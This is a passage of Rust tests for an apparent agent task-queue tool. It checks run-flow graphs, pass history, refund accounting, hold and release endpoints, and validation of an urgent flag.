17760                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
17761            ],
17762        );
17763        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
17764        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
17765        assert_eq!(f.edges.len(), 3);
17766        assert_eq!(f.edges[0].label, "claimed");
17767        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
17768        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17769        assert_eq!(f.edges[2].label, "merged \u{2192} done");
17770        assert_eq!(
17771            f.nodes[2].href.as_deref(),
17772            Some("#/runs/20260902-140502-bbbb")
17773        );
17774        assert!(f.nodes[2].decided);
17775    }
17776
17777    #[test]
17778    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
17779        let quota = || {
17780            flow_run(RunStatus::Stalled, |s| {
17781                s.quota.push(crate::run::QuotaLoss {
17782                    cause: crate::agent::QuotaCause::UsageLimit,
17783                    agent: String::new(),
17784                    seat: "judge-1".to_owned(),
17785                    node: "judge".to_owned(),
17786                    at: Timestamp::now(),
17787                    reset: None,
17788                })
17789            })
17790        };
17791        let mut t = flow_task(&[FA, FA]);
17792        t.status = TaskStatus::Queued;
17793        let f = flow_for(&t, &[(FA, Some(quota()))]);
17794        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
17795        assert_eq!(f.nodes[1].note, Some("interrupted"));
17796        assert_eq!(
17797            f.nodes[1].status, None,
17798            "no outcome copied onto an earlier pass"
17799        );
17800        assert_eq!(
17801            f.edges[1].attempt,
17802            AttemptCost::Unknown,
17803            "a resume does not prove the earlier pass was refunded"
17804        );
17805        assert!(f.edges[1].label.contains("resume the same run"));
17806        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
17807        assert_eq!(
17808            f.edges[2].label,
17809            "stalled after a resume, refund unknown \u{2192} queued"
17810        );
17811        assert!(!f.nodes[2].decided, "a stall is not a decision");
17812        assert_eq!(f.nodes[2].note, Some("no verdict"));
17813    }
17814
17815    #[test]
17816    fn flow_single_pass_quota_stall_is_refunded() {
17817        let t = flow_task(&[FA]);
17818        let f = flow_for(
17819            &t,
17820            &[(
17821                FA,
17822                Some(flow_run(RunStatus::Stalled, |s| {
17823                    s.quota.push(crate::run::QuotaLoss {
17824                        cause: crate::agent::QuotaCause::UsageLimit,
17825                        agent: String::new(),
17826                        seat: "judge-1".to_owned(),
17827                        node: "judge".to_owned(),
17828                        at: Timestamp::now(),
17829                        reset: None,
17830                    })
17831                })),
17832            )],
17833        );
17834        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17835    }
17836
17837    #[test]
17838    fn flow_parked_refunds_and_stall_without_quota_spends() {
17839        let mut t = flow_task(&[FA]);
17840        t.status = TaskStatus::Queued;
17841        let f = flow_for(
17842            &t,
17843            &[(
17844                FA,
17845                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
17846            )],
17847        );
17848        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
17849        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17850        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
17851        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
17852        assert!(!f.nodes[1].decided);
17853    }
17854
17855    #[test]
17856    fn flow_keeps_an_unreadable_run_as_its_own_node() {
17857        let t = flow_task(&[FA, FB]);
17858        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
17859        assert_eq!(f.nodes[1].note, Some("unreadable"));
17860        assert!(!f.nodes[1].readable);
17861        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
17862        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
17863    }
17864
17865    #[test]
17866    fn flow_names_the_branch_of_a_review_only_run() {
17867        let t = flow_task(&[FA]);
17868        let f = flow_for(
17869            &t,
17870            &[(
17871                FA,
17872                Some(flow_run(RunStatus::Merged, |s| {
17873                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
17874                })),
17875            )],
17876        );
17877        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
17878        assert_eq!(
17879            f.nodes[1].detail.as_deref(),
17880            Some("review-only run of branch magi/x/A")
17881        );
17882    }
17883
17884    #[test]
17885    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
17886        let mut t = flow_task(&[FA]);
17887        t.status = TaskStatus::Held;
17888        let pr = crate::run::PrRecord {
17889            url: "https://example.test/pr/1".to_owned(),
17890            number: 1,
17891            state: "open".to_owned(),
17892            checks: "green".to_owned(),
17893            round: 0,
17894            rounds: 3,
17895            red_at_merge: Vec::new(),
17896        };
17897        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
17898        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
17899        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
17900        t.status = TaskStatus::Done;
17901        let f = flow_for(&t, &[(FA, Some(blocked))]);
17902        assert_eq!(f.edges[1].label, "closed by hand: task is done");
17903    }
17904
17905    #[test]
17906    fn flow_with_no_runs_goes_from_queued_to_queued() {
17907        let t = flow_task(&[]);
17908        let f = flow_for(&t, &[]);
17909        assert_eq!(f.nodes.len(), 2);
17910        assert_eq!(f.edges.len(), 1);
17911        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
17912        assert_eq!(f.edges[0].attempt, AttemptCost::None);
17913    }
17914
17915    /// A run parked mid-flight keeps a non-terminal status; the page must
17916    /// still say why it stopped and that the attempt came back.
17917    #[test]
17918    fn a_parked_non_terminal_run_is_explained_as_parked() {
17919        let mut s = RunState::new(
17920            PathBuf::from("/repo/magi"),
17921            "main".to_owned(),
17922            "0123456789abcdef".to_owned(),
17923            "Do it".to_owned(),
17924            Config::default(),
17925        );
17926        s.status = RunStatus::Implementing;
17927        s.parked = true;
17928        let task = Task::new(
17929            "t".to_owned(),
17930            "Do it".to_owned(),
17931            PathBuf::from("/repo/magi"),
17932            Source::Human,
17933        );
17934        let v = task_run_view(
17935            "20260902-140501-aaaa",
17936            Some(&s),
17937            RunSlot {
17938                n: 1,
17939                resumed: false,
17940                resumed_later: None,
17941                prior: None,
17942                last: true,
17943                ..RunSlot::default()
17944            },
17945            &task,
17946        );
17947        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
17948    }
17949
17950    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
17951        let mut s = flow_run(RunStatus::Implementing, edit);
17952        s.parked = false;
17953        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
17954        task_run_view(
17955            "20260902-140501-aaaa",
17956            Some(&s),
17957            RunSlot {
17958                n: 1,
17959                resumed: false,
17960                resumed_later: Some(2),
17961                prior: None,
17962                last: false,
17963                ..RunSlot::default()
17964            },
17965            &task,
17966        )
17967    }
17968
17969    #[test]
17970    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
17971        let v = earlier_pass_view(|_| {});
17972        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
17973        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17974        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
17975        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
17976        assert_eq!(v.exit, RunExit::Interrupted);
17977        assert_eq!(v.attempt, AttemptCost::Unknown);
17978    }
17979
17980    #[test]
17981    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
17982        let v = earlier_pass_view(|s| {
17983            s.quota.push(crate::run::QuotaLoss {
17984                cause: crate::agent::QuotaCause::UsageLimit,
17985                agent: String::new(),
17986                seat: "judge-1".to_owned(),
17987                node: "judge".to_owned(),
17988                at: Timestamp::now(),
17989                reset: None,
17990            });
17991        });
17992        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
17993        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
17994        assert_eq!(v.attempt, AttemptCost::Unknown);
17995    }
17996
17997    #[test]
17998    fn the_current_pass_states_its_recorded_cause_and_cost() {
17999        let slot = || RunSlot {
18000            n: 1,
18001            resumed: false,
18002            resumed_later: None,
18003            prior: None,
18004            last: true,
18005            ..RunSlot::default()
18006        };
18007        let task = flow_task(&["20260902-140501-aaaa"]);
18008        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
18009        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
18010        assert_eq!(
18011            (v.exit, v.attempt),
18012            (RunExit::Parked, AttemptCost::Refunded)
18013        );
18014        let spent = flow_run(RunStatus::Blocked, |_| {});
18015        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
18016        assert_eq!(v.attempt, AttemptCost::Spent);
18017        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
18018    }
18019
18020    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
18021        crate::run::RunPass {
18022            index,
18023            started_at: Timestamp::now(),
18024            resumed: index > 0,
18025            ended_at: end.as_ref().map(|_| Timestamp::now()),
18026            end,
18027            task_entry: true,
18028        }
18029    }
18030
18031    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
18032        Some(crate::run::PassEnd::Parked { cause })
18033    }
18034
18035    fn upgrade_cause() -> crate::run::ParkCause {
18036        crate::run::ParkCause::Upgrade {
18037            from: "0.121.0".to_owned(),
18038            to: Some("0.121.1".to_owned()),
18039        }
18040    }
18041
18042    fn settled_pass(
18043        run: &str,
18044        index: usize,
18045        cost: crate::queue::PassCost,
18046    ) -> crate::queue::TaskPass {
18047        crate::queue::TaskPass {
18048            run: run.to_owned(),
18049            pass_index: index,
18050            started_at: None,
18051            cost,
18052            attempts_after: 1,
18053            settled_at: Timestamp::now(),
18054            parked: None,
18055        }
18056    }
18057
18058    const RUN_X: &str = "20261011-223708-4334";
18059
18060    #[test]
18061    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
18062        use crate::queue::PassCost;
18063        let run = flow_run(RunStatus::Implementing, |s| {
18064            s.passes = vec![
18065                recorded_pass(0, parked(upgrade_cause())),
18066                recorded_pass(1, None),
18067            ];
18068        });
18069        let mut task = flow_task(&[RUN_X, RUN_X]);
18070        task.attempts = 1;
18071        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18072        let h = task_history(&task, |_| Some(run.clone()));
18073        assert_eq!(h.len(), 2);
18074        assert_eq!(h[0].kind, "competition");
18075        assert_eq!(h[1].kind, "resume");
18076        assert_eq!(
18077            (h[0].exit, h[0].attempt),
18078            (RunExit::Parked, AttemptCost::Refunded)
18079        );
18080        assert!(
18081            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
18082            "{}",
18083            h[0].outcome
18084        );
18085        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
18086        assert!(
18087            h[0].outcome.contains("pass #2 resumed the same run"),
18088            "{}",
18089            h[0].outcome
18090        );
18091        assert!(
18092            h[0].outcome.contains("pass 1 of 2 over run"),
18093            "{}",
18094            h[0].outcome
18095        );
18096        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18097        assert_eq!(
18098            h[0].exit_label,
18099            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
18100        );
18101        let f = task_flow(&task, &h, 2, None);
18102        // Two passes of one run, one of two attempts consumed.
18103        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
18104        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
18105        assert!(
18106            f.edges[1].label.contains("upgrade 0.121.0"),
18107            "{}",
18108            f.edges[1].label
18109        );
18110        assert!(
18111            f.edges[1].label.contains("resume the same run"),
18112            "{}",
18113            f.edges[1].label
18114        );
18115        assert_eq!(f.nodes[1].note, Some("parked"));
18116    }
18117
18118    #[test]
18119    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
18120        let mut a = flow_run(RunStatus::Implementing, |s| {
18121            s.passes = vec![
18122                recorded_pass(0, parked(upgrade_cause())),
18123                recorded_pass(1, None),
18124            ];
18125        });
18126        let mut b = flow_run(RunStatus::Failed, |s| {
18127            s.passes = vec![recorded_pass(0, None)];
18128        });
18129        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
18130        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
18131        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
18132        let mut task = flow_task(&[]);
18133        task.start("a".into());
18134        task.start("b".into());
18135        task.start("a".into());
18136        assert_eq!(task.runs, ["b", "a"]);
18137        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
18138        let h = task_history(&task, |id| {
18139            Some(if id == "a" { a.clone() } else { b.clone() })
18140        });
18141        assert_eq!(
18142            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
18143            ["a", "b", "a"]
18144        );
18145        assert_eq!(h[0].attempt, AttemptCost::Refunded);
18146        assert!(h[0].outcome.contains("upgrade"));
18147        assert_eq!(h[2].kind, "resume");
18148        assert!(h[2].pass.is_some());
18149        // The old repeated-id format must show the same recorded passes.
18150        task.runs = vec!["a".into(), "b".into(), "a".into()];
18151        let old = task_history(&task, |id| {
18152            Some(if id == "a" { a.clone() } else { b.clone() })
18153        });
18154        assert_eq!(
18155            old.iter()
18156                .map(|v| (&v.id, &v.kind, v.attempt))
18157                .collect::<Vec<_>>(),
18158            h.iter()
18159                .map(|v| (&v.id, &v.kind, v.attempt))
18160                .collect::<Vec<_>>()
18161        );
18162    }
18163
18164    #[test]
18165    fn an_upgrade_whose_target_was_not_known_says_so() {
18166        let run = flow_run(RunStatus::Implementing, |s| {
18167            s.passes = vec![
18168                recorded_pass(
18169                    0,
18170                    parked(crate::run::ParkCause::Upgrade {
18171                        from: "0.121.0".to_owned(),
18172                        to: None,
18173                    }),
18174                ),
18175                recorded_pass(1, None),
18176            ];
18177        });
18178        let task = flow_task(&[RUN_X, RUN_X]);
18179        let h = task_history(&task, |_| Some(run.clone()));
18180        assert!(
18181            h[0].outcome.contains("upgrade from 0.121.0"),
18182            "{}",
18183            h[0].outcome
18184        );
18185        // No settle record: the refund is not claimed.
18186        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18187    }
18188
18189    #[test]
18190    fn each_pass_keeps_its_own_cause_across_several_resumes() {
18191        use crate::queue::PassCost;
18192        use crate::run::ParkCause;
18193        let run = flow_run(RunStatus::Implementing, |s| {
18194            s.passes = vec![
18195                recorded_pass(0, parked(upgrade_cause())),
18196                recorded_pass(
18197                    1,
18198                    parked(ParkCause::Interrupt {
18199                        reason: "task a1b2 asked to run first".to_owned(),
18200                    }),
18201                ),
18202                recorded_pass(2, parked(ParkCause::Operator)),
18203                recorded_pass(3, None),
18204            ];
18205        });
18206        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
18207        task.attempts = 1;
18208        task.passes = (0..3)
18209            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
18210            .collect();
18211        let h = task_history(&task, |_| Some(run.clone()));
18212        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18213        assert!(
18214            h[1].outcome.contains("task a1b2 asked to run first"),
18215            "{}",
18216            h[1].outcome
18217        );
18218        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
18219        assert!(
18220            h[2].outcome.contains("operator asked the loop to park"),
18221            "{}",
18222            h[2].outcome
18223        );
18224        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
18225        let f = task_flow(&task, &h, 2, None);
18226        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
18227    }
18228
18229    #[test]
18230    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
18231        let run = flow_run(RunStatus::Implementing, |s| {
18232            s.passes = vec![
18233                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
18234                recorded_pass(1, None),
18235            ];
18236        });
18237        let task = flow_task(&[RUN_X, RUN_X]);
18238        let h = task_history(&task, |_| Some(run.clone()));
18239        assert_eq!(h[0].exit, RunExit::Interrupted);
18240        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18241        assert!(
18242            h[0].outcome.contains("without recording why"),
18243            "{}",
18244            h[0].outcome
18245        );
18246        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18247        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
18248    }
18249
18250    #[test]
18251    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
18252        use crate::queue::PassCost;
18253        // Three entries, but the run only began keeping passes at the last
18254        // two: the first is legacy and must not be given a cause.
18255        let run = flow_run(RunStatus::Implementing, |s| {
18256            s.passes = vec![
18257                recorded_pass(0, parked(upgrade_cause())),
18258                recorded_pass(1, None),
18259            ];
18260        });
18261        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
18262        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18263        let h = task_history(&task, |_| Some(run.clone()));
18264        assert!(h[0].pass.is_none());
18265        assert_eq!(h[0].exit, RunExit::Interrupted);
18266        assert_eq!(h[0].attempt, AttemptCost::Unknown);
18267        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18268        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18269        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
18270        // A run with no passes at all is entirely unknown.
18271        let legacy = flow_run(RunStatus::Implementing, |_| {});
18272        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
18273        assert!(h.iter().all(|v| v.pass.is_none()));
18274        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
18275    }
18276
18277    #[test]
18278    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
18279        use crate::queue::PassCost;
18280        // Pass 1 is a web-button resume: a pass of the run, no entry of the
18281        // task. The two entries are passes 0 and 2.
18282        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
18283        web.task_entry = false;
18284        let run = flow_run(RunStatus::Implementing, |s| {
18285            s.passes = vec![
18286                recorded_pass(0, parked(upgrade_cause())),
18287                web.clone(),
18288                recorded_pass(2, None),
18289            ];
18290        });
18291        let mut task = flow_task(&[RUN_X, RUN_X]);
18292        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
18293        let h = task_history(&task, |_| Some(run.clone()));
18294        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
18295        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
18296
18297        // Legacy first entry, then a web resume that parked for an upgrade,
18298        // then the daemon's pass: the legacy entry must stay unknown.
18299        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
18300        web0.task_entry = false;
18301        let run = flow_run(RunStatus::Implementing, |s| {
18302            s.passes = vec![web0.clone(), recorded_pass(1, None)];
18303        });
18304        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
18305        assert!(h[0].pass.is_none());
18306        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
18307        assert!(h[1].pass.is_some());
18308    }
18309
18310    #[tokio::test]
18311    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
18312        let dir = tempfile::tempdir().unwrap();
18313        let queue = Queue::at(dir.path().join("queue"));
18314        let ui = Arc::new(Ui::new(
18315            queue.clone(),
18316            Questions::at(dir.path().join("questions")),
18317            Talks::at(dir.path().join("talks")),
18318            dir.path().join("runs"),
18319            dir.path().to_path_buf(),
18320            dir.path().to_path_buf(),
18321        ));
18322        let mut t = Task::new(
18323            "recover".into(),
18324            "Inspect".into(),
18325            PathBuf::from("."),
18326            Source::Human,
18327        );
18328        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
18329        t.start("run-A".into());
18330        t.release_operator("choice", Some("resume-question"));
18331        t.resume_override = Some(crate::queue::OperatorResume {
18332            question_id: "resume-question".into(),
18333            at: jiff::Timestamp::now(),
18334            conductor_rehold: None,
18335            forced: true,
18336            pinned_run: Some("run-A".into()),
18337        });
18338        t.hold_machine(Some("inspection pending".into()));
18339        t.edit("recover".into(), "Reuse approved PR head".into())
18340            .unwrap();
18341        queue.put(&mut t).unwrap();
18342        let mut cli = t.clone();
18343        cli.release_operator("cli", None);
18344        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
18345        let reloaded = queue.get(&t.id).unwrap();
18346        assert_eq!(reply.task.status, TaskStatus::Queued);
18347        assert!(reloaded.resume_override.is_none());
18348        assert_eq!(reloaded.answers, t.answers);
18349        let mut web = reloaded.resumption.unwrap();
18350        let cli = cli.resumption.unwrap();
18351        assert_eq!(web.source, "web");
18352        web.source = cli.source.clone();
18353        web.at = cli.at;
18354        assert_eq!(web, cli);
18355    }
18356
18357    #[tokio::test]
18358    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
18359        let f = Fixture::start().await;
18360        let queue = f.queue();
18361        let mut task = Task::new(
18362            "spent".to_owned(),
18363            "Try again".to_owned(),
18364            PathBuf::from("/repo/magi"),
18365            Source::Human,
18366        );
18367        task.start("20260902-140502-bbbb".to_owned());
18368        task.fail("agent gave up", 9);
18369        queue.put(&mut task).expect("file the task");
18370
18371        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18372        assert_eq!(held.status, 200);
18373        assert_eq!(held.json()["status_str"], "held");
18374
18375        let released = f
18376            .post(&format!("/api/queue/{}/release", task.id), None)
18377            .await;
18378        assert_eq!(released.status, 200);
18379        assert_eq!(released.json()["status_str"], "queued");
18380        assert_eq!(released.json()["resumption"]["source"], "web");
18381        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
18382        let mut cli = task.clone();
18383        cli.release_operator("cli", None);
18384        let web = queue.get(&task.id).unwrap().resumption.unwrap();
18385        let cli = cli.resumption.unwrap();
18386        assert_eq!(web.instruction, cli.instruction);
18387        assert_eq!(web.answers_through, cli.answers_through);
18388        assert_eq!(web.runs_through, cli.runs_through);
18389        assert_eq!(web.cleared_reason, cli.cleared_reason);
18390        assert_eq!(
18391            released.json()["attempts"],
18392            0,
18393            "release is a real second chance, not an instant re-hold"
18394        );
18395        assert_eq!(
18396            queue.get(&task.id).expect("reload").status,
18397            TaskStatus::Queued,
18398            "the change is on disk, not only in the reply"
18399        );
18400        assert!(
18401            !f.home
18402                .path()
18403                .join("queue")
18404                .join(format!("{}.lock", task.id))
18405                .exists(),
18406            "the claim the mutation took is released again"
18407        );
18408    }
18409
18410    #[tokio::test]
18411    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
18412        let f = Fixture::start().await;
18413        let queue = f.queue();
18414        let mut task = Task::new(
18415            "busy".to_owned(),
18416            "Running right now".to_owned(),
18417            PathBuf::from("/repo/magi"),
18418            Source::Human,
18419        );
18420        queue.put(&mut task).expect("file the task");
18421        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18422
18423        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
18424
18425        assert_eq!(res.status, 409);
18426        assert_eq!(
18427            queue.get(&task.id).expect("reload").status,
18428            TaskStatus::Queued,
18429            "the refused hold changed nothing"
18430        );
18431    }
18432
18433    #[tokio::test]
18434    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
18435        let f = Fixture::start().await;
18436        let queue = f.queue();
18437        let mut task = Task::new(
18438            "waiting on the migration".to_owned(),
18439            "Do the thing".to_owned(),
18440            PathBuf::from("/repo/magi"),
18441            Source::Human,
18442        );
18443        queue.put(&mut task).expect("file the task");
18444
18445        let held = f
18446            .post(
18447                &format!("/api/queue/{}/hold", task.id),
18448                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
18449            )
18450            .await;
18451        assert_eq!(held.status, 200, "{}", held.body);
18452        assert_eq!(held.json()["status_str"], "held");
18453        assert_eq!(
18454            held.json()["hold_reason"],
18455            "waiting for 20260101-000000-aaaa to land"
18456        );
18457
18458        let listed = f.get("/api/queue").await.json();
18459        assert_eq!(
18460            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
18461            "the card reads the reason off the same list route"
18462        );
18463
18464        // A hold with no body at all must keep working - most holds have no
18465        // reason to give.
18466        let mut plain = Task::new(
18467            "no reason given".to_owned(),
18468            "Do another thing".to_owned(),
18469            PathBuf::from("/repo/magi"),
18470            Source::Human,
18471        );
18472        queue.put(&mut plain).expect("file the task");
18473        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
18474        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
18475        assert!(held_plain.json()["hold_reason"].is_null());
18476
18477        let released = f
18478            .post(&format!("/api/queue/{}/release", task.id), None)
18479            .await;
18480        assert_eq!(released.status, 200);
18481        assert!(
18482            released.json()["hold_reason"].is_null(),
18483            "a release must clear the reason so the next hold does not inherit it"
18484        );
18485    }
18486
18487    #[test]
18488    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
18489        for urgent in [true, false] {
18490            let body: UrgentBody =
18491                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
18492            assert_eq!(body.urgent, urgent);
18493        }
18494        for input in [
18495            r#"{}"#,
18496            r#"{"urgent":null}"#,
18497            r#"{"urgent":"true"}"#,
18498            r#"{"urgent":1}"#,
18499            r#"{"urgent":true,"extra":false}"#,
18500        ] {
18501            assert!(
18502                serde_json::from_str::<UrgentBody>(input).is_err(),
18503                "{input}"
18504            );
18505        }
18506    }
18507
18508    #[tokio::test]
18509    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
18510        let home = TempDir::new().unwrap();
18511        let q = Queue::at(home.path().join("queue"));
18512        let ui = Arc::new(Ui::new(
18513            q.clone(),
18514            Questions::at(home.path().join("questions")),
18515            Talks::at(home.path().join("talks")),
18516            home.path().join("runs"),
18517            home.path().into(),
18518            home.path().into(),
18519        ));
18520        let mut task = Task::new(
18521            "urgent handler".into(),
18522            "keep".into(),
18523            home.path().into(),
18524            Source::Human,
18525        );
18526        for status in [TaskStatus::Queued, TaskStatus::Held] {
18527            task.status = status;
18528            q.put(&mut task).unwrap();
18529            for urgent in [true, true, false, false] {
18530                let saved = queue_urgent(
18531                    State(Arc::clone(&ui)),
18532                    Path(task.short().into()),
18533                    Ok(Json(UrgentBody { urgent })),
18534                )
18535                .await
18536                .unwrap();
18537                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
18538                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
18539            }
18540        }
18541        task.status = TaskStatus::Queued;
18542        q.put(&mut task).unwrap();
18543        let claim = q.claim(&task.id).unwrap();
18544        let error = queue_urgent(
18545            State(Arc::clone(&ui)),
18546            Path(task.id.clone()),
18547            Ok(Json(UrgentBody { urgent: true })),
18548        )
18549        .await
18550        .unwrap_err();
18551        assert_eq!(error.status, StatusCode::CONFLICT);
18552        assert!(error.message.contains("released"));
18553        drop(claim);
18554        for status in [
18555            TaskStatus::Running,
18556            TaskStatus::Done,
18557            TaskStatus::Failed,
18558            TaskStatus::Blocked,
18559            TaskStatus::Parked,
18560        ] {
18561            task.status = status;
18562            q.put(&mut task).unwrap();
18563            let error = queue_urgent(
18564                State(Arc::clone(&ui)),
18565                Path(task.id.clone()),
18566                Ok(Json(UrgentBody { urgent: false })),
18567            )
18568            .await
18569            .unwrap_err();
18570            assert_eq!(error.status, StatusCode::BAD_REQUEST);
18571            assert!(error.message.contains(status.as_str()));
18572        }
18573    }
18574
18575    #[tokio::test]
18576    async fn urgent_api_updates_preserves_and_validates_tasks() {
18577        let f = Fixture::start().await;
18578        let q = f.queue();
18579        let mut t = Task::new(
18580            "urgent API".into(),
18581            "unchanged".into(),
18582            PathBuf::from("/repo/magi"),
18583            Source::Human,
18584        );
18585        t.attempts = 2;
18586        t.priority = 9;
18587        t.interrupt = true;
18588        t.hold_reason = Some("waiting for approval".into());
18589        for status in [TaskStatus::Queued, TaskStatus::Held] {
18590            t.status = status;
18591            q.put(&mut t).unwrap();
18592            for urgent in [true, true, false, false] {
18593                let response = f
18594                    .post(
18595                        &format!("/api/queue/{}/urgent", t.short()),
18596                        Some(&format!("{{\"urgent\":{urgent}}}")),
18597                    )
18598                    .await;
18599                assert_eq!(response.status, 200, "{}", response.body);
18600                assert_eq!(response.json()["urgent"], urgent);
18601                let saved = q.get(&t.id).unwrap();
18602                let mut before = serde_json::to_value(&t).unwrap();
18603                let mut after = serde_json::to_value(saved).unwrap();
18604                before["urgent"] = urgent.into();
18605                before.as_object_mut().unwrap().remove("updated_at");
18606                after.as_object_mut().unwrap().remove("updated_at");
18607                assert_eq!(after, before);
18608            }
18609        }
18610        let route = format!("/api/queue/{}/urgent", t.id);
18611        for body in [
18612            r#"{}"#,
18613            r#"{"urgent":null}"#,
18614            r#"{"urgent":"true"}"#,
18615            r#"{"urgent":1}"#,
18616            r#"{"urgent":true,"extra":false}"#,
18617            "{",
18618        ] {
18619            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18620        }
18621        t.status = TaskStatus::Queued;
18622        q.put(&mut t).unwrap();
18623        let claim = q.claim(&t.id).unwrap();
18624        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18625        assert_eq!(response.status, 409, "{}", response.body);
18626        assert!(!q.get(&t.id).unwrap().urgent);
18627        drop(claim);
18628        for status in [
18629            TaskStatus::Running,
18630            TaskStatus::Done,
18631            TaskStatus::Failed,
18632            TaskStatus::Blocked,
18633            TaskStatus::Parked,
18634        ] {
18635            t.status = status;
